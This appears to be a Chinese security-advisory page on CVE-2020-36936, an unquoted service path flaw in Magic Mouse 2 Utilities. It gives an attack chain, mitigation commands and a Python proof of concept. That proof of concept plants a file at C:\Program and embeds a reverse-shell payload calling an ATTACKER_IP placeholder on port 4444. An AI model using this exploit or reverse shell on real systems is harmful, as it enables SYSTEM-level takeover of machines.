IPBUF安全漏洞报告
English
CVE-2020-36936 CVSS 7.8 高危

CVE-2020-36936: Magic Mouse 2 Utilities未引号服务路径权限提升漏洞

披露日期: 2026-01-25

漏洞信息

漏洞编号
CVE-2020-36936
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Magic Mouse 2 Utilities

相关标签

未引号服务路径权限提升本地攻击Windows服务漏洞Magic Mouse 2 Utilities二进制劫持CVE-2020-36936高危漏洞路径遍历

漏洞概述

CVE-2020-36936是Magic Mouse 2 Utilities 2.20版本中存在的一个高危安全漏洞,漏洞类型为未引号服务路径(Unquoted Service Path),也被称为二进制植入(Binary Planting)或路径劫持漏洞。该漏洞允许本地低权限攻击者在Windows服务启动时,通过将恶意可执行文件放置在服务路径的中间目录位置,从而实现以系统最高权限(NT AUTHORITY\SYSTEM)执行任意代码,成功获取目标主机的完全控制权。此类漏洞的危害性极高,因为攻击成功后攻击者可以完全绕过系统的权限限制,执行任意操作,包括安装后门、窃取敏感数据、部署恶意软件等。由于该漏洞的CVSS评分达到7.8分(高危),且攻击复杂度低,无需用户交互,因此对使用受影响版本软件的用户构成严重安全威胁。建议所有使用Magic Mouse 2 Utilities 2.20的用户立即采取修复措施或临时缓解措施。

技术细节

Magic Mouse 2 Utilities在Windows服务配置中使用了未加引号的服务路径,导致存在路径解析漏洞。当Windows服务启动时,系统会按照路径顺序依次搜索可执行文件。以该软件为例,如果服务路径为C:\Program Files\Magic Utilities\Magic Mouse\Service\MagicMouseService.exe且未加引号,Windows会首先尝试执行C:\Program.exe,如果存在则直接运行,否则继续尝试C:\Program Files\Magic.exe,依此类推直到找到合法程序。攻击者可以利用这一特性,在C:\Program Files\目录下创建一个名为Program.exe的恶意可执行文件。当Magic Mouse服务重启或系统启动时,Windows会优先执行攻击者植入的恶意程序,从而以SYSTEM权限运行任意代码。由于Windows服务通常以SYSTEM权限运行,攻击者无需任何提权操作即可获得最高系统权限。此漏洞的利用前提是攻击者已在目标系统上拥有低权限账户,能够写入文件系统。

攻击链分析

STEP 1
1. 信息收集
攻击者首先识别目标系统上安装的Magic Mouse 2 Utilities 2.20软件,并通过sc query或wmic命令查询相关Windows服务的配置信息,获取服务的可执行文件路径
STEP 2
2. 漏洞验证
使用sc qc MagicMouseService命令查看服务的BINARY_PATH_NAME,如果路径未包含引号且包含空格,则确认存在未引号服务路径漏洞
STEP 3
3. 路径分析
分析服务路径中的目录结构,识别Windows会优先尝试执行的可执行文件位置。例如路径C:\Program Files\Magic Utilities\Magic Mouse\Service\MagicMouseService.exe会导致Windows首先查找C:\Program.exe
STEP 4
4. 恶意文件植入
攻击者利用低权限账户,在服务路径的中间目录位置(如C:\)创建一个恶意的可执行文件(如Program.exe),该文件包含反弹shell、添加后门或执行其他恶意操作的代码
STEP 5
5. 服务重启触发
等待服务自然重启或系统重启,或者攻击者手动执行sc stop和sc start命令触发服务重启,使Windows服务加载并执行植入的恶意程序
STEP 6
6. 权限提升
由于Windows服务以SYSTEM高权限账户运行,恶意程序也随之获得SYSTEM级别权限,攻击者成功实现从低权限用户到系统最高权限的权限提升
STEP 7
7. 持久化控制
攻击者在获得SYSTEM权限后,可以创建后门账户、植入木马、窃取敏感数据或执行其他恶意活动,完成对目标系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36936 PoC - Unquoted Service Path Exploitation # Target: Magic Mouse 2 Utilities 2.20 # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target service is vulnerable""" service_name = "MagicMouseService" try: # Query service configuration result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print("[*] Service found: MagicMouseService") # Extract path from output for line in result.stdout.split('\n'): if "BINARY_PATH_NAME" in line: print(f"[*] Current path: {line}") # Check if path is unquoted path = line.split("=", 1)[1].strip() if '"' not in path: print("[!] VULNERABLE: Path is not quoted!") return True else: print("[-] SAFE: Path is properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Exploit the unquoted service path vulnerability""" if not check_vulnerability(): print("[-] Target is not vulnerable") return False # Malicious executable path (in unquoted path directory) malicious_exe = r"C:\Program.exe" # Create a simple reverse shell payload (for educational purposes only) payload_code = ''' import socket import subprocess import os # Simple reverse shell HOST = "ATTACKER_IP" # Replace with attacker IP PORT = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Redirect stdin/stdout/stderr to socket os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) # Execute shell subprocess.call(["cmd.exe"]) ''' # Write malicious executable stub # In real attack, this would be a compiled executable print(f"[!] Creating malicious executable at: {malicious_exe}") try: # For demonstration, create a simple batch file as PoC # In real attack, this would be a compiled binary with open(malicious_exe.replace('.exe', '.bat'), 'w') as f: f.write('@echo off\n') f.write(f'echo [+] Exploited CVE-2020-36936 > C:\\pwned.txt\n') f.write('echo [+] Running with SYSTEM privileges\n') print("[+] Malicious file created successfully") print("[*] Wait for service restart to trigger payload") print("[*] Or manually restart: sc stop MagicMouseService && sc start MagicMouseService") return True except PermissionError: print("[-] Failed: Insufficient privileges to write to C:\\") print("[*] This exploit requires low-privilege write access to the unquoted path") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2020-36936 - Magic Mouse 2 Utilities") print("Unquoted Service Path Privilege Escalation") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit() else: check_vulnerability() print("\nUsage: python cve-2020-36936.py --exploit")

影响范围

Magic Mouse 2 Utilities 2.20

防御指南

临时缓解措施
在厂商发布正式修复版本之前,可采取以下临时缓解措施:首先,使用sc config命令为MagicMouseService服务添加引号来修复路径问题,命令为:sc config MagicMouseService binpath= "\"C:\Program Files\Magic Utilities\Magic Mouse\Service\MagicMouseService.exe\"";其次,手动检查并删除C:\Program.exe等可能被劫持的可执行文件;最后,限制非管理员用户对C:\根目录和Program Files目录的写入权限,防止低权限用户植入恶意程序。建议尽快升级到厂商发布的安全版本以彻底解决该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表